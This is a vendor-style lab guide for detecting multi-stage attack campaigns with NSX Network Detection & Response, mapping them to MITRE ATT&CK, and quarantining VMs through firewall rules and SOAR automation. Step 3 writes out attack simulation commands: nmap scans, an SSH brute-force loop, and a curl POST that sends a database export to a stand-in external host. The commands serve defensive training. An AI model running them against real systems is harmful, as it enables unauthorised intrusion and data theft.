Lab: NDR Campaign Detection, MITRE ATT&CK Correlation & Automated Response
Objectives
- Understand NDR architecture: ML-based behavioral analytics vs signature-based IDS/IPS
- Simulate multi-stage attack behavior that triggers NDR campaign correlation
- Analyze NDR campaign detection with MITRE ATT&CK tactic/technique mapping
- Configure automated quarantine response using DFW Emergency category rules
- Design SIEM/SOAR integration for automated incident response using NSX API
- Compare NDR behavioral detection with IDS/IPS signature detection for defense-in-depth
Prerequisites
VCF 9.0 with NSX 9.0.x and vDefend NDR feature enabled. NDR requires cloud-delivered analytics (outbound HTTPS from NSX Manager) or on-premises NDR appliance. IDS/IPS enabled from Lab vdefend-02. 3+ VMs with varied traffic patterns for anomaly generation.
Prior labs: vdefend-01, vdefend-02
Required skills:
- NSX DFW rule creation and management (from Lab vdefend-01)
- IDS/IPS concepts (from Lab vdefend-02)
- MITRE ATT&CK framework fundamentals
- Network attack lifecycle (reconnaissance, lateral movement, exfiltration)
- REST API fundamentals for SOAR integration
Lab Environment
VCF 9.0 with NSX overlay networking, IDS/IPS enabled. 3 VMs from prior labs (web-01, app-01, db-01). NDR requires a behavioral baseline — in production, this needs 7-14 days of traffic learning. In lab, use compressed traffic generation or pre-populated NDR campaign data.
Tasks
Task 1 NDR Campaign Detection, Correlation & Automated Response
NDR operates on a fundamentally different detection model than IDS/IPS. IDS/IPS matches traffic against known bad patterns (signatures). NDR establishes a baseline of 'normal' behavior for each VM and each flow pair, then flags deviations — a VM that never used SSH suddenly initiating SSH sessions, or a database server sending large outbound data transfers for the first time. This behavioral approach detects zero-day attacks and insider threats that have no signature. The trade-off: NDR requires a baseline learning period (7-14 days) and generates more ambiguous alerts that require SOC analyst judgment.
Deploy and validate NDR — the behavioral analytics layer that detects attack campaigns by correlating anomalous traffic patterns across time and VMs. While IDS/IPS catches known attack signatures (Lab vdefend-02), NDR catches unknown/novel attacks by identifying behavioral deviations from baseline. Together they provide defense-in-depth: signatures for known threats, behavior for unknowns.
Step 1
Verify NDR prerequisites and enable. NSX Manager → Security → Network Detection & Response → verify status shows 'Connected' (green). NDR analytics can be: (a) Cloud-delivered — NSX Manager sends flow metadata (not packet payloads) to Broadcom cloud for ML analysis. Requires outbound HTTPS. (b) On-premises — NDR analytics appliance deployed locally for air-gapped environments. Verify connectivity: System → Configuration → Network Detection & Response → Connection Status. If NDR shows 'Disconnected', check: (1) NSX Manager outbound HTTPS firewall rules, (2) DNS resolution to the NDR cloud endpoint, (3) proxy configuration if applicable. Note: NDR ML models require 7-14 days of baseline traffic to establish 'normal' behavior. In lab, compress this by generating varied traffic patterns for 30-60 minutes, or use pre-populated campaign scenarios if available.
Step 2
Generate baseline traffic (normal behavior). From each VM, generate typical traffic patterns that NDR will learn as 'normal': (a) web-01: repeated HTTP requests to app-01 on port 8080 (every 10 seconds for 10 minutes) — establishes web→app as a normal flow. (b) app-01: repeated database queries to db-01 on port 5432 — establishes app→db as normal. (c) All VMs: DNS queries to DNS server, NTP sync, HTTPS to update servers — management traffic baseline. (d) No VM-to-VM SSH traffic (this will be used as anomaly later). (e) No outbound data transfers from db-01 (this will be used as exfiltration signal later). The key: NDR learns what's NORMAL for each VM pair. Any deviation from this learned pattern triggers an anomaly signal.
Step 3
Simulate multi-stage attack behavior. After baseline, simulate an attack lifecycle from web-01 (simulating a compromised web server): Stage 1 — Reconnaissance (MITRE T1046 Network Service Discovery): nmap -sS app-01 (TCP SYN scan — port scan is anomalous from a web server that normally only talks on port 8080). nmap -sS db-01 (scanning the database server — web-01 has never contacted db-01 before). Stage 2 — Credential Access (MITRE T1110 Brute Force): for i in $(seq 1 20); do ssh -o ConnectTimeout=1 app-01; done (repeated SSH attempts — anomalous: web-01 has never used SSH). Stage 3 — Lateral Movement (MITRE T1021 Remote Services): ssh app-01 'whoami' (successful SSH from web→app — first-ever SSH between these VMs). Stage 4 — Data Staging (MITRE T1005 Data from Local System): scp db-01:/data/export.sql /tmp/ (from app-01 — database content moving from db tier to app tier, anomalous direction). Stage 5 — Exfiltration (MITRE T1048 Exfiltration Over Alternative Protocol): curl -X POST https://external-server.example.com/upload -F 'file=@/tmp/export.sql' (from web-01 — large outbound POST to unknown external server, anomalous).
Step 4
Review NDR Campaign Detection. Wait 5-10 minutes for NDR to process and correlate events. NSX Manager → Security → Network Detection & Response → Campaigns. NDR should show a correlated campaign grouping the simulated events. Campaign view displays: (a) Campaign Name (auto-generated, e.g., 'Suspected Data Exfiltration — web-01'). (b) Affected VMs: web-01 (primary suspect), app-01 (lateral movement target), db-01 (data source). (c) Timeline: visual timeline showing when each stage occurred. (d) Confidence Score: ranges from Low to Critical — multi-stage correlated events produce higher confidence than individual anomalies. (e) MITRE ATT&CK Mapping: each event mapped to specific tactics and techniques. If no campaign appears: NDR baseline period may be insufficient. In lab, check individual detections under Events tab — they may not have reached correlation threshold.
Step 5
Deep-dive into campaign analysis. Click into the campaign → examine each detection event: (a) Port scan (T1046): NDR shows web-01 probing ports on app-01 and db-01 — anomalous because web-01's historical behavior only includes HTTP on port 8080. Confidence: Medium (port scans can be benign — internal scanning tools). (b) SSH brute force (T1110): repeated failed SSH attempts from web-01 — no historical SSH from this VM. Confidence: High. (c) Successful SSH lateral movement (T1021): first-ever SSH session web-01→app-01. Confidence: High (new protocol between these VMs). (d) Data staging (T1005): unusual data flow direction db→app. Confidence: Medium. (e) Outbound exfiltration (T1048): large POST to unknown external IP. Confidence: High. Campaign overall: individual medium-confidence events combine into High-confidence campaign through multi-stage correlation — this is NDR's primary value.
Step 6
Configure automated quarantine response. Pre-build the quarantine infrastructure: (a) Create group: NSX Manager → Inventory → Groups → Add 'Quarantine-Group' with no initial members (empty group — VMs added during incidents). (b) Create Emergency DFW rule: Security → Distributed Firewall → Emergency category → Add Policy 'Incident-Response-Quarantine'. Add rules: Rule 1: Source=Quarantine-Group, Dest=Any, Service=Any, Action=Drop, Logging=Enabled. Rule 2: Source=Any, Dest=Quarantine-Group, Service=Any, Action=Drop, Logging=Enabled. Both rules together create a full quarantine — the compromised VM cannot send OR receive traffic. Published but inactive (no VMs in the group yet). The Emergency category ensures quarantine overrides all other DFW rules.
Step 7
Execute manual quarantine for the detected campaign. Based on NDR campaign identifying web-01 as compromised: NSX Manager → Inventory → Groups → Quarantine-Group → Set Members → Add web-01. Verify quarantine effectiveness: (a) From web-01: ping app-01 → should fail (Rule 1 drops outbound). (b) From app-01: ping web-01 → should fail (Rule 2 drops inbound). (c) From app-01: curl http://db-01:5432 → should succeed (app-01 and db-01 are not quarantined, their connectivity is unaffected). (d) Check DFW logs: /var/log/dfwpktlogs.log on web-01's host should show Emergency rule drops. This demonstrates selective quarantine — only the compromised VM is isolated, not the entire segment.
Step 8
Design SIEM/SOAR automated response integration. In production, the quarantine should be automated: (a) NDR sends high-confidence campaign alert to SIEM (syslog or REST API webhook). Configure: NSX Manager → System → Settings → Firewall Logs → Syslog → Add syslog endpoint pointing to your SIEM. (b) SIEM correlation rule: 'When NDR campaign confidence ≥ High AND affected VM is in production, trigger SOAR playbook.' (c) SOAR playbook calls NSX Manager API to add VM to Quarantine-Group: API endpoint: PATCH /policy/api/v1/infra/domains/default/groups/Quarantine-Group. Request body: add the compromised VM's external_id to the group membership expression. (d) SOAR notifies SOC analyst via PagerDuty/Slack with campaign details and quarantine confirmation. (e) SOC analyst investigates: reviews NDR campaign timeline, collects forensic data from quarantined VM (via console access — network is blocked), determines remediation action. Document the full API call sequence for the SOAR playbook.
Step 9
Compare NDR with IDS/IPS for defense-in-depth. Key differences: (a) Detection model: IDS/IPS = signature matching (known bad patterns). NDR = behavioral anomaly (deviation from learned normal). (b) Coverage: IDS/IPS catches known attacks with high precision. NDR catches unknown/novel attacks and insider threats with medium precision (more false positives). (c) Latency: IDS/IPS = inline, real-time blocking. NDR = post-hoc analysis (minutes delay for ML correlation). (d) Dependencies: IDS/IPS requires signature updates. NDR requires baseline learning period. (e) False positive profile: IDS/IPS false positives are signature-specific (tunable per-signature). NDR false positives are behavior-specific (harder to tune without losing detection). Defense-in-depth: use BOTH together — IDS/IPS for known-threat prevention (blocking) + NDR for unknown-threat detection (alerting + quarantine). Document this layered approach.
Step 10
Release quarantine and document findings. Remove web-01 from Quarantine-Group: NSX Manager → Groups → Quarantine-Group → Set Members → remove web-01. Verify: connectivity restored — web-01 can reach app-01 on port 8080. Document: (a) NDR campaign detection timeline (time from first anomalous event to campaign correlation). (b) MITRE ATT&CK techniques detected and their confidence levels. (c) Quarantine effectiveness: time from quarantine action to full network isolation. (d) False positive assessment: any legitimate activities that NDR flagged as anomalous? (e) Operational recommendations: baseline period, alert routing, quarantine procedures, SOAR integration requirements.
Validation Gate
Check: NDR campaign detection and automated response validated end-to-end
Expected: NDR campaign detected with multi-stage correlation across 5 MITRE ATT&CK techniques, confidence score reflecting correlation quality, quarantine rule effectively isolating compromised VM while preserving other connectivity, SIEM/SOAR integration architecture documented with API call sequence, defense-in-depth comparison (NDR vs IDS/IPS) documented
Common Errors
NDR shows 'Disconnected' status — no campaign detection available
Fix: NDR requires connectivity to the Broadcom analytics cloud (or on-premises NDR appliance). Check: (1) NSX Manager → System → Network Detection & Response → Connection Status. (2) Verify outbound HTTPS from NSX Manager to the NDR endpoint. (3) If using proxy, configure NSX Manager proxy settings. (4) For air-gapped environments, deploy the on-premises NDR appliance — contact Broadcom for the OVA.
NDR shows individual detections but no correlated campaign
Fix: Campaign correlation requires: (1) Multiple anomalous events from the same or related VMs within a time window. (2) Events that map to different MITRE ATT&CK tactics (not just the same tactic repeated). (3) Sufficient NDR baseline to distinguish anomalous from normal behavior. In lab: ensure simulated attack stages span multiple tactics (Recon → Lateral Movement → Exfiltration) and involve multiple VMs. If baseline is too short, NDR may not have enough context to identify deviations.
Quarantine-Group DFW rule doesn't block traffic after adding VM
Fix: Verify: (1) Both inbound and outbound quarantine rules exist (Source=Quarantine-Group, Dest=Any + Source=Any, Dest=Quarantine-Group). A single rule only blocks one direction. (2) Rules are in the Emergency category (highest priority, overrides all other categories). (3) Policy is published (not in draft state). (4) VM is correctly added to the group — check group membership in NSX Manager.
NDR generates false-positive campaigns from legitimate operations
Fix: Common false-positive triggers: (1) Internal vulnerability scanning tools (look like reconnaissance). Solution: create NDR exceptions for scanner source IPs. (2) Backup traffic (large data transfers that look like exfiltration). Solution: whitelist backup server flows in NDR configuration. (3) Infrastructure automation tools (Ansible/Puppet creating new SSH sessions). Solution: extend baseline period to include automation patterns, or add automation servers to NDR trusted sources.
SOAR API call to add VM to Quarantine-Group fails with 403 Forbidden
Fix: The API service account needs sufficient NSX RBAC privileges: (1) minimum role: 'Security Engineer' (can modify groups). (2) The API path must use the correct policy API format: PATCH /policy/api/v1/infra/domains/default/groups/Quarantine-Group. (3) Include the 'X-Allow-Overwrite: true' header for concurrent modifications. (4) Verify the VM's external_id is correct — use GET /policy/api/v1/infra/realized-state/virtual-machines to find the correct identifier.
Final Validation
NDR campaign detection and automated quarantine response operational
✓ NDR connectivity → NDR status shows 'Connected' with analytics processing active
✓ Campaign detection → Multi-stage attack campaign detected with MITRE ATT&CK mapping
✓ Confidence scoring → Campaign confidence reflects multi-stage correlation quality
✓ Quarantine response → Emergency DFW rules isolate compromised VM while preserving other connectivity
✓ SIEM/SOAR integration → API-based quarantine procedure documented with full call sequence
✓ Defense-in-depth → NDR vs IDS/IPS comparison documented with layered deployment strategy
Cleanup / Restore
• Remove all VMs from Quarantine-Group
• Delete Incident-Response-Quarantine policy from Emergency category (or leave for production use)
• Delete Quarantine-Group if no longer needed
• Reset NDR baseline by clearing historical data (optional — in lab only)
Design Reflection (VCDX)
NDR represents the most advanced layer of vDefend's defense-in-depth model. In a VCDX defense, NDR demonstrates: (1) Security architecture maturity — you understand that signatures alone are insufficient (zero-day gap). (2) Operational integration — NDR → SIEM → SOAR → DFW quarantine shows end-to-end incident response automation. (3) MITRE ATT&CK alignment — mapping detections to the framework demonstrates structured threat analysis. Key defense question: 'How do you handle NDR false positives without suppressing legitimate threat detection?' Answer: whitelist specific VM pairs/flows for known operational patterns (backup, scanning, automation) rather than disabling NDR detection categories.
Requirements
- Detect unknown/novel attack campaigns that bypass signature-based IDS/IPS
- Automated quarantine response within 5 minutes of high-confidence campaign detection
- MITRE ATT&CK mapping for all detections to support SOC investigation workflow
Constraints
- NDR requires 7-14 day baseline learning period — no detection during initial deployment
- Cloud-delivered NDR sends flow metadata externally — may conflict with data sovereignty requirements
- NDR generates more ambiguous alerts than IDS/IPS — requires skilled SOC analysts for triage
Assumptions
- Broadcom NDR cloud analytics are available and reliable (99.9% SLA)
- SOC team can triage NDR alerts within 30 minutes during business hours
- DFW Emergency quarantine will not block critical management traffic (management plane uses Infrastructure category, higher priority than Emergency for management-specific rules)
Risks
- Automated quarantine isolates a VM running a critical application — causes business impact. Mitigation: quarantine automation only for non-production VMs; production quarantine requires SOC analyst confirmation before execution.
- NDR baseline becomes stale after major application changes — increased false positives. Mitigation: trigger NDR baseline re-learning after significant infrastructure changes (new applications, migrations, network topology changes).
- Attacker evades NDR by mimicking baseline traffic patterns (low-and-slow attack). Mitigation: layer with IDS/IPS signatures (detect known attack patterns regardless of behavioral baseline) and periodic threat hunting exercises.
Self-Assessment Discussion Prompts
- How do you balance automated quarantine speed with the risk of isolating legitimate VMs?
- When should you deploy cloud-delivered NDR vs on-premises NDR appliance, and what are the data sovereignty implications?
- How does NDR detection latency (minutes for ML correlation) compare with IDS/IPS detection (inline, real-time)?
- What organizational capabilities (SOC maturity, incident response process) are prerequisites for effective NDR deployment?
Extensions
Build a complete SOAR playbook that automates: NDR alert → SIEM enrichment → quarantine → SOC notification → evidence collection
Configure NDR whitelists for known operational patterns (backup traffic, vulnerability scanning, configuration management) to reduce false positives
Design a graduated response model: Low confidence → alert only, Medium → alert + investigation, High → alert + automatic quarantine
Integrate NDR with VCF Operations to correlate security events with infrastructure health (e.g., CPU spike on compromised VM)
⚠ Known Pitfalls (from Community KB)
Deploying NDR without sufficient baseline learning period (7-14 days) — NDR flags everything as anomalous when it has no concept of 'normal', generating massive false-positive volume
Automating quarantine for ALL NDR campaigns without confidence thresholds — Low-confidence campaigns are frequently false positives. Only automate quarantine for High/Critical confidence.
Creating quarantine rules with only outbound block (Source=Quarantine-Group → Drop) but forgetting inbound block — the compromised VM can still receive C2 commands. Always block BOTH directions.
Not maintaining NDR whitelist/exceptions as the environment changes — new applications, migrations, and infrastructure changes alter traffic patterns. Review NDR exceptions quarterly.
Treating NDR as a replacement for IDS/IPS — NDR detects behavioral anomalies but cannot block inline like IPS. Use both: IDS/IPS for known-threat prevention, NDR for unknown-threat detection. They are complementary, not alternatives.
References
- NSX 4.2 Network Detection & Response Guide: techdocs.broadcom.com
- vDefend NDR Architecture and Deployment Guide: techdocs.broadcom.com
- MITRE ATT&CK Framework for Enterprise: attack.mitre.org
- NSX Policy API Reference — Groups and Security Policies: techdocs.broadcom.com